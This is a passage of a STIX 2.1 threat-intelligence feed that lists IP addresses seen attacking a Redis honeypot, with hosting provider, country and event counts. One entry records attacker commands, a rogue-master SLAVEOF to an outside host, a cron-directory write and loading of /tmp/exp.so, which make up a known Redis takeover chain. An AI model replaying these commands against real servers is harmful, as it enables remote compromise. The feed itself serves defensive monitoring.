      "valid_from": "2026-05-17T20:25:05.000Z",
      "valid_until": "2026-06-18T20:25:04.000Z"
    },
    {
      "created": "2026-05-17T22:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--b9678ccf-e8ae-4018-87eb-911107c5c18c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-17T22:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:25:11.000Z",
      "valid_until": "2026-06-18T22:25:10.000Z"
    },
    {
      "created": "2026-05-18T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--18998f12-b6f8-44a9-a183-fd6c26054042",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.183.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:25:10.000Z",
      "valid_until": "2026-06-19T00:25:09.000Z"
    },
    {
      "created": "2026-05-18T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--e3035322-2f18-47b7-ac53-4121b2c1b977",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.171.8.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T00:25:10.000Z",
      "valid_until": "2026-06-19T00:25:09.000Z"
    },
    {
      "created": "2026-05-18T01:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--71f35632-f0fb-4d2f-a11d-af3cbb0dd6a0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T01:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.83.245.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T01:25:15.000Z",
      "valid_until": "2026-06-19T01:25:13.000Z"
    },
    {
      "created": "2026-05-18T02:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=SG; asn=152194; asn_org=CTG Server Limited; redis_cmd_hits=0",
      "id": "indicator--1ea94f14-8168-46ed-8f44-c4bd3c06b4f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.174.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:25:12.000Z",
      "valid_until": "2026-06-19T02:25:10.000Z"
    },
    {
      "created": "2026-05-18T02:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--fc77c6b7-7f87-478c-a46e-bec49fa2765f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.102.116.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:25:12.000Z",
      "valid_until": "2026-06-19T02:25:10.000Z"
    },
    {
      "created": "2026-05-18T02:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--0070f2d4-02f0-4dda-8e54-2454bc9e6860",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T02:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.81.19.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T02:25:12.000Z",
      "valid_until": "2026-06-19T02:25:10.000Z"
    },
    {
      "created": "2026-05-18T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--0c016f0c-0832-4135-ab2f-843cf67064df",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.112.6.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T04:25:10.000Z",
      "valid_until": "2026-06-19T04:25:09.000Z"
    },
    {
      "created": "2026-05-18T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Not Suspicious Traffic; redis_cmd_hits=0",
      "id": "indicator--8df8d3a4-1e01-4c94-bca2-e741bc8bc0e3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.63.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T06:25:10.000Z",
      "valid_until": "2026-06-19T06:25:09.000Z"
    },
    {
      "created": "2026-05-18T08:25:33.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=FR; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--afb3b5f6-d5f8-4862-bf8b-8cb4d3b1a378",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T08:25:33.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T08:25:33.000Z",
      "valid_until": "2026-06-19T08:25:10.000Z"
    },
    {
      "created": "2026-05-18T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--407e1065-24a3-4e3b-8f84-e1bed244efb8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.216.80.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T10:25:10.000Z",
      "valid_until": "2026-06-19T10:25:09.000Z"
    },
    {
      "created": "2026-05-18T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--8f5544af-09e9-4b13-9e67-57923b894841",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '137.184.135.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T12:25:10.000Z",
      "valid_until": "2026-06-19T12:25:09.000Z"
    },
    {
      "created": "2026-05-18T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=40; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; redis_cmds=SLAVEOF 114.227.156.88 6728,config set dir /var/spool/cron/,MODULE LOAD /tmp/exp.so,MODULE UNLOAD system,CONFIG SET dir /tmp/; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--cfcfb9a3-c149-4c37-abe9-6a40e9248932",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-18T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.160.182.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T12:25:10.000Z",
      "valid_until": "2026-06-19T12:25:09.000Z"
    },
    {
      "created": "2026-05-18T13:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--8a9a5530-be73-4bfd-b250-709be100e886",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T13:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '115.190.194.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T13:25:12.000Z",
      "valid_until": "2026-06-19T13:25:11.000Z"
    },
    {
      "created": "2026-05-18T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--1b373766-40d7-4fe1-b1f1-3933abf9b2bb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '161.35.109.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:25:10.000Z",
      "valid_until": "2026-06-19T15:25:09.000Z"
    },
    {
      "created": "2026-05-18T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:25:10.000Z",
      "valid_until": "2026-06-19T15:25:09.000Z"
    },
    {
      "created": "2026-05-18T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--c10c39fd-ec6f-48c6-ab4b-d9ba04b07cc3",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T15:25:10.000Z",
      "valid_until": "2026-06-19T15:25:09.000Z"
    },
    {
      "created": "2026-05-18T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CO; asn=14080; asn_org=Telmex Colombia S.A.; redis_cmd_hits=0",
      "id": "indicator--c4409c9d-2a3e-42f5-9fab-9d2f0713fcae",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.80.228.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T16:25:10.000Z",
      "valid_until": "2026-06-19T16:25:09.000Z"
    },
    {
      "created": "2026-05-18T19:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--52c0f6f9-b84b-4557-b066-1bdac18b0a51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T19:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T19:25:05.000Z",
      "valid_until": "2026-06-19T19:25:04.000Z"
    },
    {
      "created": "2026-05-18T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--f395505f-6663-49b1-a315-ecae365dc7f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.185.229.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T20:25:10.000Z",
      "valid_until": "2026-06-19T20:25:09.000Z"
    },
    {
      "created": "2026-05-18T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=FR; asn=206092; asn_org=F.n.s. Holdings Limited; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--ed1d0de4-a174-4cfe-b58a-00ad9fa34d48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.157.112.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T21:25:10.000Z",
      "valid_until": "2026-06-19T21:25:09.000Z"
    },
    {
      "created": "2026-05-18T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=JP; asn=152194; asn_org=CTG Server Limited; redis_cmd_hits=0",
      "id": "indicator--b2405497-6d16-4e6a-825c-e79c4aad0473",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-18T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.197.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:25:10.000Z",
      "valid_until": "2026-06-19T22:25:09.000Z"
    },
    {
      "created": "2026-05-18T22:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--8b5b33cb-a955-40dc-aaf2-16876a3dcefd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-18T22:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-18T22:25:10.000Z",
      "valid_until": "2026-06-19T22:25:09.000Z"
    },
    {
      "created": "2026-05-19T00:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=IN; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--846c2b43-dcd0-4167-9d4a-742f4e20790c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T00:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.235.199.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T00:25:10.000Z",
      "valid_until": "2026-06-20T00:25:09.000Z"
    },
    {
      "created": "2026-05-19T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--985d175e-cc53-443b-a795-07debdd7f6fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.237.153.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:25:10.000Z",
      "valid_until": "2026-06-20T02:25:09.000Z"
    },
    {
      "created": "2026-05-19T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--a0d064f3-dc7d-4bc4-a4c4-0c6734b84448",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-19T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.89.141.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:25:10.000Z",
      "valid_until": "2026-06-20T02:25:09.000Z"
    },
    {
      "created": "2026-05-19T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--cd453222-c852-4203-933a-9f930cc0bf49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.99.224.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T02:25:10.000Z",
      "valid_until": "2026-06-20T02:25:09.000Z"
    },
    {
      "created": "2026-05-19T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--ac122913-d09d-4bd8-8f27-ad7e437cb08d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.89.130.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:25:10.000Z",
      "valid_until": "2026-06-20T04:25:09.000Z"
    },
    {
      "created": "2026-05-19T05:25:30.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--420605b1-c383-4b46-a6c7-76be887ed3f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:25:30.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.118.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:25:30.000Z",
      "valid_until": "2026-06-20T05:25:09.000Z"
    },
    {
      "created": "2026-05-19T05:25:30.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--b81581cd-e0f8-4653-a477-5d172f6adc3a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:25:30.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.201.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:25:30.000Z",
      "valid_until": "2026-06-20T05:25:09.000Z"
    },
    {
      "created": "2026-05-19T07:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--c45bfef3-c91d-4089-9b0a-6b3c04b40307",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.29.23.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:25:04.000Z",
      "valid_until": "2026-06-20T07:25:04.000Z"
    },
    {
      "created": "2026-05-19T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:25:10.000Z",
      "valid_until": "2026-06-20T08:25:09.000Z"
    },
    {
      "created": "2026-05-19T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--0be9b534-e5e1-4eeb-9a16-a52ddea60592",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-19T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T08:25:10.000Z",
      "valid_until": "2026-06-20T08:25:09.000Z"
    },
    {
      "created": "2026-05-19T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--ba226440-2fbf-4ab0-9b6c-254ceb326459",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-19T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.116.201.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T10:25:10.000Z",
      "valid_until": "2026-06-20T10:25:09.000Z"
    },
    {
      "created": "2026-05-19T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--1800bb2a-5a77-41fd-8d85-534f7d5d07d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.244.159.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T12:25:10.000Z",
      "valid_until": "2026-06-20T12:25:09.000Z"
    },
    {
      "created": "2026-05-19T13:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--14903fa1-7524-4fd4-9ed3-b2d7d6facb47",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-19T13:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:25:20.000Z",
      "valid_until": "2026-06-20T13:25:09.000Z"
    },
    {
      "created": "2026-05-19T13:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--acd401f6-7821-438e-a12d-293398040c93",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-19T13:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.56.83.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:25:20.000Z",
      "valid_until": "2026-06-20T13:25:09.000Z"
    },
    {
      "created": "2026-05-19T13:25:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-19T13:25:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T13:25:20.000Z",
      "valid_until": "2026-06-20T13:25:09.000Z"
    },
    {
      "created": "2026-05-19T15:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CA; asn=31898; asn_org=Oracle Corporation; redis_cmd_hits=0",
      "id": "indicator--4fb2ff2c-681a-44c9-af70-3c461fac67b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T15:25:09.000Z",
